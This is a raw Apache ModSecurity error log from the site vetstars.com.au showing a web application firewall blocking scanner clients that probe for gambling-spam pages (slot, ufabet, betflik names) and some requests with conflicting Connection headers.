[Wed May 06 03:53:58.737099 2026] [:error] [pid 48758:tid 48815] [client 95.217.109.26:28936] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afpK1jENoN-kMgC5tXgFoQAAAFQ"]
[Wed May 06 03:54:01.385279 2026] [:error] [pid 48759:tid 48843] [client 95.217.109.26:28946] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "afpK2amcftH9JrQl_yGxIQAAAJU"]
[Wed May 06 03:54:03.944976 2026] [:error] [pid 48758:tid 48796] [client 95.217.109.26:28956] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afpK2zENoN-kMgC5tXgFpAAAAEE"]
[Wed May 06 03:54:06.643619 2026] [:error] [pid 48867:tid 48887] [client 95.217.109.26:28958] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afpK3lZQ-8ZcCbMZPy7hTwAAANE"]
[Wed May 06 03:54:09.313813 2026] [:error] [pid 48757:tid 48776] [client 95.217.109.26:1162] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "afpK4UAivC3C614LoA5VJAAAAAo"]
[Wed May 06 03:54:11.872692 2026] [:error] [pid 48867:tid 48870] [client 95.217.109.26:1174] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afpK41ZQ-8ZcCbMZPy7hVgAAAMA"]
[Wed May 06 03:54:14.675576 2026] [:error] [pid 48867:tid 48892] [client 95.217.109.26:1182] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afpK5lZQ-8ZcCbMZPy7hWQAAANY"]
[Wed May 06 03:54:17.291825 2026] [:error] [pid 48867:tid 48875] [client 95.217.109.26:25800] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afpK6VZQ-8ZcCbMZPy7hXAAAAMU"]
[Wed May 06 03:54:19.978309 2026] [:error] [pid 48757:tid 48770] [client 95.217.109.26:25808] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afpK60AivC3C614LoA5VJwAAAAQ"]
[Wed May 06 03:54:22.609091 2026] [:error] [pid 48759:tid 48833] [client 95.217.109.26:25818] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afpK7qmcftH9JrQl_yGxLwAAAIs"]
[Wed May 06 03:54:25.081476 2026] [:error] [pid 48757:tid 48780] [client 95.217.109.26:25834] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afpK8UAivC3C614LoA5VLQAAAA4"]
[Wed May 06 03:54:27.643468 2026] [:error] [pid 48759:tid 48822] [client 95.217.109.26:14426] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afpK86mcftH9JrQl_yGxMwAAAIA"]
[Wed May 06 03:54:30.328980 2026] [:error] [pid 48867:tid 48889] [client 95.217.109.26:14428] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afpK9lZQ-8ZcCbMZPy7hZQAAANM"]
[Wed May 06 03:54:32.920100 2026] [:error] [pid 48867:tid 48877] [client 95.217.109.26:14442] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afpK-FZQ-8ZcCbMZPy7hcgAAAMc"]
[Wed May 06 03:54:35.651611 2026] [:error] [pid 48759:tid 48835] [client 95.217.109.26:14450] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afpK-6mcftH9JrQl_yGxTgAAAI0"]
[Wed May 06 03:54:38.313708 2026] [:error] [pid 48758:tid 48812] [client 95.217.109.26:47190] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afpK_jENoN-kMgC5tXgFxQAAAFE"]
[Wed May 06 03:54:40.798009 2026] [:error] [pid 48758:tid 48803] [client 95.217.109.26:47204] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afpLADENoN-kMgC5tXgFxgAAAEg"]
[Wed May 06 03:54:43.415636 2026] [:error] [pid 48757:tid 48790] [client 95.217.109.26:47214] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afpLA0AivC3C614LoA5VQwAAABg"]
[Wed May 06 03:54:45.982938 2026] [:error] [pid 48758:tid 48796] [client 95.217.109.26:47228] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "afpLBTENoN-kMgC5tXgFxwAAAEE"]
[Wed May 06 03:54:48.619562 2026] [:error] [pid 48758:tid 48819] [client 95.217.109.26:34776] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afpLCDENoN-kMgC5tXgFyAAAAFg"]
[Wed May 06 03:54:51.458577 2026] [:error] [pid 48758:tid 48797] [client 95.217.109.26:34790] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "afpLCzENoN-kMgC5tXgFyQAAAEI"]
[Wed May 06 03:55:40.269935 2026] [:error] [pid 48759:tid 48825] [client 95.217.109.26:25350] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afpLPKmcftH9JrQl_yGxZQAAAIM"]
[Wed May 06 03:55:42.827927 2026] [:error] [pid 48867:tid 48879] [client 95.217.109.26:25352] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afpLPlZQ-8ZcCbMZPy7hlgAAAMk"]
[Wed May 06 03:55:45.545050 2026] [:error] [pid 48759:tid 48826] [client 95.217.109.26:25356] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afpLQamcftH9JrQl_yGxbAAAAIQ"]
[Wed May 06 03:55:48.306498 2026] [:error] [pid 48759:tid 48835] [client 95.217.109.26:54748] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afpLRKmcftH9JrQl_yGxbwAAAI0"]
[Wed May 06 03:55:51.009651 2026] [:error] [pid 48867:tid 48875] [client 95.217.109.26:54762] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afpLR1ZQ-8ZcCbMZPy7hpAAAAMU"]
[Wed May 06 03:55:53.700092 2026] [:error] [pid 48759:tid 48839] [client 95.217.109.26:54768] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afpLSamcftH9JrQl_yGxcwAAAJE"]
[Wed May 06 03:55:56.254792 2026] [:error] [pid 48867:tid 48876] [client 95.217.109.26:54772] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afpLTFZQ-8ZcCbMZPy7hrAAAAMY"]
[Wed May 06 03:55:58.740355 2026] [:error] [pid 48759:tid 48823] [client 95.217.109.26:17016] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afpLTqmcftH9JrQl_yGxeAAAAIE"]
[Wed May 06 03:56:01.267148 2026] [:error] [pid 48867:tid 48892] [client 95.217.109.26:17032] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afpLUVZQ-8ZcCbMZPy7hsAAAANY"]
[Wed May 06 03:56:03.844746 2026] [:error] [pid 48867:tid 48893] [client 95.217.109.26:17042] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afpLU1ZQ-8ZcCbMZPy7hsgAAANc"]
[Wed May 06 03:56:06.396628 2026] [:error] [pid 48867:tid 48890] [client 95.217.109.26:17054] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afpLVlZQ-8ZcCbMZPy7hswAAANQ"]
[Wed May 06 03:56:08.901501 2026] [:error] [pid 48867:tid 48879] [client 95.217.109.26:49804] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afpLWFZQ-8ZcCbMZPy7hugAAAMk"]
[Wed May 06 03:56:11.394140 2026] [:error] [pid 48757:tid 48766] [client 95.217.109.26:49814] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afpLW0AivC3C614LoA5VXQAAAAA"]
[Wed May 06 03:57:09.479490 2026] [:error] [pid 48867:tid 48893] [client 122.51.236.174:42560] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afpLlVZQ-8ZcCbMZPy7iEAAAANc"]
[Wed May 06 04:16:15.728877 2026] [:error] [pid 48759:tid 48838] [client 43.164.0.21:44646] [client 43.164.0.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afpQD6mcftH9JrQl_yG2XQAAAJA"]
[Wed May 06 04:49:44.479066 2026] [:error] [pid 48867:tid 48893] [client 95.91.110.210:23040] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afpX6FZQ-8ZcCbMZPy72fAAAANc"]
[Wed May 06 04:49:47.037790 2026] [:error] [pid 48758:tid 48817] [client 95.91.110.210:55694] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afpX6zENoN-kMgC5tXgRWQAAAFY"]
[Wed May 06 04:49:49.495499 2026] [:error] [pid 48867:tid 48870] [client 95.91.110.210:55702] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afpX7VZQ-8ZcCbMZPy72hAAAAMA"]
[Wed May 06 04:49:51.897697 2026] [:error] [pid 48867:tid 48884] [client 95.91.110.210:55704] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afpX71ZQ-8ZcCbMZPy72iwAAAM4"]
[Wed May 06 04:49:54.325739 2026] [:error] [pid 48867:tid 48870] [client 95.91.110.210:55710] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afpX8lZQ-8ZcCbMZPy72kgAAAMA"]
[Wed May 06 04:49:56.804710 2026] [:error] [pid 48758:tid 48817] [client 95.91.110.210:11864] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afpX9DENoN-kMgC5tXgRYgAAAFY"]
[Wed May 06 04:49:59.376382 2026] [:error] [pid 48867:tid 48883] [client 95.91.110.210:11878] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afpX91ZQ-8ZcCbMZPy72mQAAAM0"]
[Wed May 06 04:50:01.950588 2026] [:error] [pid 48758:tid 48803] [client 95.91.110.210:11888] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afpX-TENoN-kMgC5tXgRaQAAAEg"]
[Wed May 06 04:50:04.372204 2026] [:error] [pid 48867:tid 48890] [client 95.91.110.210:11900] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afpX_FZQ-8ZcCbMZPy72pgAAANQ"]
[Wed May 06 04:50:06.825429 2026] [:error] [pid 48867:tid 48881] [client 95.91.110.210:54758] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afpX_lZQ-8ZcCbMZPy72rAAAAMs"]
[Wed May 06 04:50:09.251691 2026] [:error] [pid 48867:tid 48873] [client 95.91.110.210:54764] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afpYAVZQ-8ZcCbMZPy72rgAAAMM"]
[Wed May 06 04:50:11.662534 2026] [:error] [pid 48757:tid 48773] [client 95.91.110.210:54778] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afpYA0AivC3C614LoA5eRQAAAAc"]
[Wed May 06 04:50:14.092846 2026] [:error] [pid 48867:tid 48883] [client 95.91.110.210:54786] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afpYBlZQ-8ZcCbMZPy72sgAAAM0"]
[Wed May 06 04:50:16.492452 2026] [:error] [pid 48759:tid 48836] [client 95.91.110.210:3842] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afpYCKmcftH9JrQl_yHCOAAAAI4"]
[Wed May 06 04:50:18.895211 2026] [:error] [pid 48867:tid 48880] [client 95.91.110.210:3856] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afpYClZQ-8ZcCbMZPy727AAAAMo"]
[Wed May 06 04:50:21.382875 2026] [:error] [pid 48867:tid 48892] [client 95.91.110.210:3868] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afpYDVZQ-8ZcCbMZPy728QAAANY"]
[Wed May 06 04:50:23.861415 2026] [:error] [pid 48759:tid 48836] [client 95.91.110.210:3870] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afpYD6mcftH9JrQl_yHCSAAAAI4"]
[Wed May 06 04:50:26.287885 2026] [:error] [pid 48757:tid 48781] [client 95.91.110.210:2900] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afpYEkAivC3C614LoA5eXAAAAA8"]
[Wed May 06 04:50:28.862132 2026] [:error] [pid 48759:tid 48829] [client 95.91.110.210:2914] [client 95.91.110.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afpYFKmcftH9JrQl_yHCTQAAAIc"]
